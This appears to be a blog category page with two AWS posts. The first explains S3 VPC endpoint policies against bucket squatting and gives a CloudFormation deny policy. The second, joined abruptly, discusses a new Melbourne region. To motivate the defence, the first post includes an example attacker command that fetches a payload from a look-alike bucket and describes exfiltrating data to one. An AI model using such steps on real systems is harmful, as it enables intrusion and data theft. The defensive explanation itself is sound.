Category: Cloud

AWS Virtual Private Cloud is a wonder of the modern cloud age. While most of the magic is encapsulation, it also has a deep permissions policy that is highly effective in large deployments.

From a security perspective, accessing your S3 private stores by egressing your VPC over the Internet seemed like a control needing to be improved, and this landed with S3 Endpoints (now Gateway Endpoints) in 2015. These Gateway Endpoints rely upon integration into the VPC Routing table, where as the newer Interface Endpoints have network interfaces (ENIs) in designated VPCs. Oh, and Interface Endpoints are charged for (at this time), while the Gateway Endpoints are (again, at this time), complementary.

Having an S3 Endpoint meant that your buckets, as a Resource, could now have a policy applied to them to limit their access to only traffic originating from the given Endpoint(s) or VPC(s). This helps limits the steal of credentials.

But another consideration existing, which endpoints also supported: a filter on the Endpoint itself, limiting the actions and buckets that resources within the VPC were allowed to access from the S3 service.

However the policy language would limit any permit deny role on an S3 Bucket name, and as we know, Buckets can have any name so long as no one else already has that name. Indeed, there is a race here to create names for buckets that other people may want, and Bucket Squatting (on those names) is a thing.

S3 bucket names couldn’t be reserved or namespaced (outside of the existing ARN), and while a policy that denies access to any bucket not called “mycompany-*” could be deployed on the Endpoint, that doesn’t stop an attacker also calling their bucket “mycompany-notreally”.

Why Filter Access to S3

There’s two major reasons why an attacker would want to get access from your resources to S3:

1. Data ingestion to your network of malware, compilers, large scripts or other tools
2. Data ex-filtration to their own resource

Lets consider an Instance that has been taken over. Some RAT or execution is happening on your compute at their behest. And perhaps the attacker is aware of some level of VPC S3 Endpoint policy that may be in place.

The ability to put in large complicated scripts, malware and payloads may be limited form the command and control channel, whereas a cal to wget s3://mycompany-notreally/payload.bin may actually succeed in transferring that very large payload to your instance, which it then runs.

And of course in the reverse way, when they want to steal your data, then upload to s3 to a bucket in their control, from which they can later exfil out of S3 separately.

Policies for S3 ARNs

The initial thought is to use an ARN that would filter on something like arn:aws:s3:12345678901::mybucket-*, but alas, Account IDs are not valid in ARNs for S3 ARNs! Today, AWS announced a new condition key that takes care of this, called s3:ResourceAccount. It achieves a similar thing.

Thus, in a CloudFormation template snippet, you can now put:

S3Endpoint:
  Type: 'AWS::EC2::VPCEndpoint'
  Properties:
    PolicyDocument:
      Version: "2012-10-17"
      Statement:
      - Action: s3:*
        Effect: Deny
        Resource: '*'
        Principal: '*'
        Condition:
          StringNotEquals:
            s3:ResourceAccount: !Ref 'AWS::AccountId'
    RouteTableIds:
      - !Ref RouteTablePublic
      - !Ref RouteTableNATGatewayA
      - !Ref RouteTableNATGatewayB
      - !Ref RouteTableNATGatewayC
      - !Ref RouteTablePrivate
    ServiceName: !Join
      - .
      - - com.amazonaws
        - !Ref 'AWS::Region'
        - s3
    VpcId: !Ref VPC

There’s a heap of Best Practice around workloads online and in AWS, and here’s some of my current thoughts as at December 2020 – your mileage may vary, caveat emptor, no warranty expressed or implied, and you may have use-cases that justify something different:

I was there launching the 1st AWS Region in Sydney in 2013 as an AWS staff member, and as the AWS Solution Architect with a focus (depth) on security meant that it was a critical time for customers who were looking to meet strict (or perhaps, even stricter) security requirements.

Back in 2013, the question was the US Patriot Act. That concern and question has long gone.

Subsequently came cost effectiveness. Then domestic IRAP PROTECTED status.

And back in 2013, secrecy was everything about a Region. We launched Sydney the day it was announced, as ready-for-service. This made recruiting operational staff, securing data centre space (or even building data centres), and having large amounts of fibre run between buildings by contractors, difficult to keep under wraps. These days, pre-announcements like this help ease the struggle to execute the deployment without the need for code names and secrecy.

So, what does the launch of a second AWS Region in Australia, with three Availability Zones, and the general set of services within AWS being present, going to mean to the domestic and international markets?

Proximity to customers & revenue

Let’s look at some population and revenue statistics for these few cities in Australia (and use NZ as a comparison):

So with a Melbourne Region launch, we see 55.2% of the Australian population in the same state as a Region, and 40.4% in the same city as a Region. This also represents being close to where 55% of the GDP of Australia comes from.

Moreover this is coverage for where the headquarters of most Australian national organisations are based, and typically their IT departments are helmed from their national HQ.

Where does Latency matter?

The main industry that will see the latency impact from the new Melbourne Region is probably the video/media production vertical. There’s a sizable video media production industry in Melbourne that will now not discount AWS for the 11ms or so that was previously seen to Sydney.

Of course, latency doesn’t imply bandwidth.

Melbourne has been a Direct Connect location for some time, with customers able to take a partial port, or a whole 1GB or 10 GB port, and multiples three of with Link Aggregation Control Protocol (LACP) to deliver higher throughputs.

But the latency remained. And thus the Big Fat Pipe Problem would be a consideration: the amount of data sitting IN the pipe since transmission, and before being confirmed as received on the other end. For some devices and TCP/IP stacks, as the bandwidth increases, this becomes a problem.

You canna change the laws of physics

Mr Scott, Enterprise

Then there are applications that make multiple sequential connections from on-cloud to on-premises. An application that opens perhaps 100 SQL connections to a remote database over 11ms latency in series will see three round trips of TCP/IP handshake, and perhaps a TLS 1.2 handshake of 3 round trips, for 6.6 seconds of wall time before any actual query data and response is sent and processed.

The death of Multi-Cloud in Australia

Despite extremely strong multiple-Availability Zone architectures (see the Well-Architected principles), the noise of “multi-Region” has escalated in the industry. From the AWS-customer perspective, multi-cloud has become recognised as a “how about me” call from desperate competitors.

Of course the complexity of multi-cloud is huge, and not understood by most (any?) CIO who endorses this strategy. It’s far better to get the best out of one cloud provider, rather than try and dilute your talent base across implementing, maintaining and securing more than one.

However, some industry regulators have demanded more than one Region for some workloads, again mostly as a lack of understanding of what a strong Well-Architected design looks like.

With this announcement, multi-Region domestically within Australia will be a reality.

But we’re a Melbourne based infrastructure provider, we’re local!!

Sorry, time’s up.

You’re about to lose your customers, and your staff to an unstoppable force, with easy on-boarding, pay as you go, no commitment required terms.

It’s self-service, so there’s no cost of sale.

It’s commodity.

And it’s innovating at a clip far faster than any infrastructure organisation around. There’s almost nothing special about your offering that isn’t faster, cheaper and better in cloud. It’s time to work out what happens when 1/2 your staff leave, and 1/2 your customers are gone.

Getting customers to sign a 5 year contract at this point is only going to sound like entrapment.

Where next in Australia & NZ?

There’s a lot to consider when planning an AWS Region.

First, their are tax & legal overheads in establishing multiple entities in a country to implement, operate and own infrastructure. That means that even if New Zealand was next in line by population, or GDP, it may fall to another location in Australia to follow Melbourne.

And while the state of Queensland may look like it’s third, the latency it already has between Brisbane and Sydney of around 17ms may be outweighed by the fourth in the pack, Western Australia at 50ms.

Lots of variables and weightings to consider. And despite all of this, we have some time to see what the customer cost for AWS resources will be in the new Melbourne Region when it becomes available.